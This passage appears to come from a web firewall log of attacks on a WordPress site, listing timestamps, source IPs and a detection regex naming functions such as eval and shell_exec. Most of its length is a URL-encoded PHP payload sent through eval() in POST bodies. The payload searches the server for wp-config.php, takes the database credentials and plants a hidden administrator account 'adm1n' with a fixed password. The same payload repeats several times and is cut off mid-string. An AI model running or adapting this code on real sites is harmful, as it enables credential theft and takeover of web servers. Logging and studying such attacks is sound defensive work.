29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:12663\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\nHJTgNT=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:20:52","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lS:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20n